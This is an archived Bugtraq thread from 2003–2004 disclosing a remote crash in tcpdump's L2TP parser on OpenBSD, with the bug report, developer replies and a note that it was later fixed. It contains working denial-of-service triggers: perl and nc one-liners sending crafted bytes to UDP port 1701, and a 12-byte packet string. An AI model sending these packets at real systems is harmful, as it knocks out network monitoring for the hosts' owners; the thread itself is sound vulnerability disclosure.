Onderwerp: Remote crash in tcpdump from OpenBSD

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



- -------- Original Message --------
Subject: user/3610: repetable tcpdump remote crash
Resent-Date: Sat, 20 Dec 2003 08:55:02 -0700 (MST)
Resent-From: gnats@cvs.openbsd.org (GNATS Filer)
Resent-To: bugs@cvs.openbsd.org
Date: Sat, 20 Dec 2003 16:42:25 +0100 (CET)
From: venglin@freebsd.lublin.pl
Reply-To: venglin@freebsd.lublin.pl
To: gnats@openbsd.org

>Number: 3610
>Category: user
>Synopsis: repetable tcpdump remote crash
>Confidential: yes
>Severity: critical
>Priority: high
>Responsible: bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: net
>Arrival-Date: Sat Dec 20 15:50:02 GMT 2003
>Closed-Date:
>Last-Modified:
>Originator: Przemyslaw Frasunek
>Release: 3.3-RELEASE
>Organization:
net
>Environment:
System : OpenBSD 3.3
Architecture: OpenBSD.i386
Machine : i386
>Description:
Sending a packet containg 0xff,0x02 bytes to port 1701/udp causes
a L2TP protocol parser in tcpdump to enter an infinite loop, eating
all available memory and then segfaulting.

This bug also affects tcpdump in -CURRENT.
>How-To-Repeat:
tcpdump -i lo0 -n udp and dst port 1701 &
perl -e 'print "\xff\x02"' | nc -u localhost 1701
>Fix:
Unknown, recent versions of tcpdump are immune to this problem.


>Release-Note:
>Audit-Trail:
>Unformatted:


- --
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE/5HfykxEnBiV4/K0RApAkAKDMw3qheVAkGu3v2EvoCoq07C8ZYgCgh9sl
ZjwiNzK9di8oSMQ1XK/YF+g=
=Q0AT
-----END PGP SIGNATURE-----

On Sat, Dec 20, 2003 at 05:25:22PM +0100, Przemyslaw Frasunek wrote:
> >Description:
> Sending a packet containg 0xff,0x02 bytes to port 1701/udp causes
> a L2TP protocol parser in tcpdump to enter an infinite loop, eating
> all available memory and then segfaulting.
>
> This bug also affects tcpdump in -CURRENT.
> >How-To-Repeat:
> tcpdump -i lo0 -n udp and dst port 1701 &
> perl -e 'print "\xff\x02"' | nc -u localhost 1701

several developers including me cannot reproduce that on -current.

--
Henning Brauer, BS Web Services, http://bsws.de
hb@bsws.de - henning@openbsd.org
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Henning Brauer wrote:
>> tcpdump -i lo0 -n udp and dst port 1701 &
>> perl -e 'print "\xff\x02"' | nc -u localhost 1701
> several developers including me cannot reproduce that on -current.

Sorry for the misinformation, it will not work on a loopback interface,
but it's perfectly repetable when receiving/routing such datagram on
ethernet interfaces:

<root@ext-fw:/var/log:273># uname -smr ; tcpdump -V 2>&1 | head -n 2
OpenBSD 3.3 i386
tcpdump version 3.4.0
libpcap version 0.5
<root@ext-fw:/var/log:274># tcpdump -i xl1
tcpdump: listening on xl1

On the another box:

rigeto~# perl -e 'print "\xff\x02"' | nc -u x.x.x.x 1701

and tcpdump goes mad:

[...]
invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid
AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256
invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256
[...]

consuming all memory. When ulimits are reached, it segfaults.

- --
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE/5MrBkxEnBiV4/K0RAg6cAKDEeRwvRvUQxYBtCM2tNNBCBN0x4ACcDFCO
fdDXuhskCzmLQiZrmfha38Q=
=96ct
-----END PGP SIGNATURE-----

In-Reply-To: <20031221174837.14808.qmail@sf-www3-symnsj.securityfocus.com>

Hi Mike,
Will the following packet be enough to reproduce this problem.

char packet[] = "\x82\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;

Thanks for your time in advance

Balaram



>Received: (qmail 9162 invoked from network); 22 Dec 2003 22:59:01 -0000
>Received: from outgoing2.securityfocus.com (205.206.231.26)
> by mail.securityfocus.com with SMTP; 22 Dec 2003 22:59:01 -0000
>Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
> by outgoing2.securityfocus.com (Postfix) with QMQP
> id 910C48F350; Mon, 22 Dec 2003 10:01:02 -0700 (MST)
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 20728 invoked from network); 21 Dec 2003 17:42:27 -0000
>Date: 21 Dec 2003 17:48:37 -0000
>Message-ID: <20031221174837.14808.qmail@sf-www3-symnsj.securityfocus.com>
>Content-Type: text/plain
>Content-Disposition: inline
>Content-Transfer-Encoding: binary
>MIME-Version: 1.0
>X-Mailer: MIME-tools 5.411 (Entity 5.404)
>From: <mrh_tech@yahoo.com>
>To: bugtraq@securityfocus.com
>Subject: Re: Remote crash in tcpdump from OpenBSD
>
>In-Reply-To: <3FE4CAC1.8010306@freebsd.lublin.pl>
>
>When an l2tp control packet is sent with optional bits set but containing invalid data, l2tp_avp_print() is passed this bad data.
>Then, l2tp_avp_print() calls itself and continues an infinite loop of passing bad data to itself.
>
>I had the consistent results sending:
>\x82 (control+length bits)
>\0x02 (version) then 10 bytes of zeros.
>
>This is in print-l2tp.c
>Lines: ~566-616
>
>After commenting out (breaking the infinite loop):
>~609: l2tp_avp_print(dat + len, length - len);
>I was no longer able to crash tcpdump.
>
>Obviously, properly validating the input is the real solution.
>
>Tested on: OpenBSD 3.3 and 3.4
>tcpdump: 3.4.0
>libpcap" 0.5
>
>Thanks,
>Mike
>
>
>

On Fri, 6 Aug 2004, Balaram Amgoth wrote:

> In-Reply-To: <20031221174837.14808.qmail@sf-www3-symnsj.securityfocus.com>
>
> Hi Mike,
> Will the following packet be enough to reproduce this problem.
>
> char packet[] = "\x82\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;

FYI, this is a report from December 2003. This has been fixed in OpenBSD
3.4-stable and (then -current, now) 3.5. Feel free to expore this further,
but I don't think this is very interesting material for this list, more
than 7 months after the original report.

-Otto

>
> Thanks for your time in advance
>
> Balaram
>
>
>
>> Received: (qmail 9162 invoked from network); 22 Dec 2003 22:59:01 -0000
>> Received: from outgoing2.securityfocus.com (205.206.231.26)
>> by mail.securityfocus.com with SMTP; 22 Dec 2003 22:59:01 -0000
>> Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
>> by outgoing2.securityfocus.com (Postfix) with QMQP
>> id 910C48F350; Mon, 22 Dec 2003 10:01:02 -0700 (MST)
>> Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>> Precedence: bulk
>> List-Id: <bugtraq.list-id.securityfocus.com>
>> List-Post: <mailto:bugtraq@securityfocus.com>
>> List-Help: <mailto:bugtraq-help@securityfocus.com>
>> List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>> List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>> Delivered-To: mailing list bugtraq@securityfocus.com
>> Delivered-To: moderator for bugtraq@securityfocus.com
>> Received: (qmail 20728 invoked from network); 21 Dec 2003 17:42:27 -0000
>> Date: 21 Dec 2003 17:48:37 -0000
>> Message-ID: <20031221174837.14808.qmail@sf-www3-symnsj.securityfocus.com>
>> Content-Type: text/plain
>> Content-Disposition: inline
>> Content-Transfer-Encoding: binary
>> MIME-Version: 1.0
>> X-Mailer: MIME-tools 5.411 (Entity 5.404)
>> From: <mrh_tech@yahoo.com>
>> To: bugtraq@securityfocus.com
>> Subject: Re: Remote crash in tcpdump from OpenBSD
>>
>> In-Reply-To: <3FE4CAC1.8010306@freebsd.lublin.pl>
>>
>> When an l2tp control packet is sent with optional bits set but containing invalid data, l2tp_avp_print() is passed this bad data.
>> Then, l2tp_avp_print() calls itself and continues an infinite loop of passing bad data to itself.
>>
>> I had the consistent results sending:
>> \x82 (control+length bits)
>> \0x02 (version) then 10 bytes of zeros.
>>
>> This is in print-l2tp.c
>> Lines: ~566-616
>>
>> After commenting out (breaking the infinite loop):
>> ~609: l2tp_avp_print(dat + len, length - len);
>> I was no longer able to crash tcpdump.
>>
>> Obviously, properly validating the input is the real solution.
>>
>> Tested on: OpenBSD 3.3 and 3.4
>> tcpdump: 3.4.0
>> libpcap" 0.5
>>
>> Thanks,
>> Mike
>>
>>
>>
>
>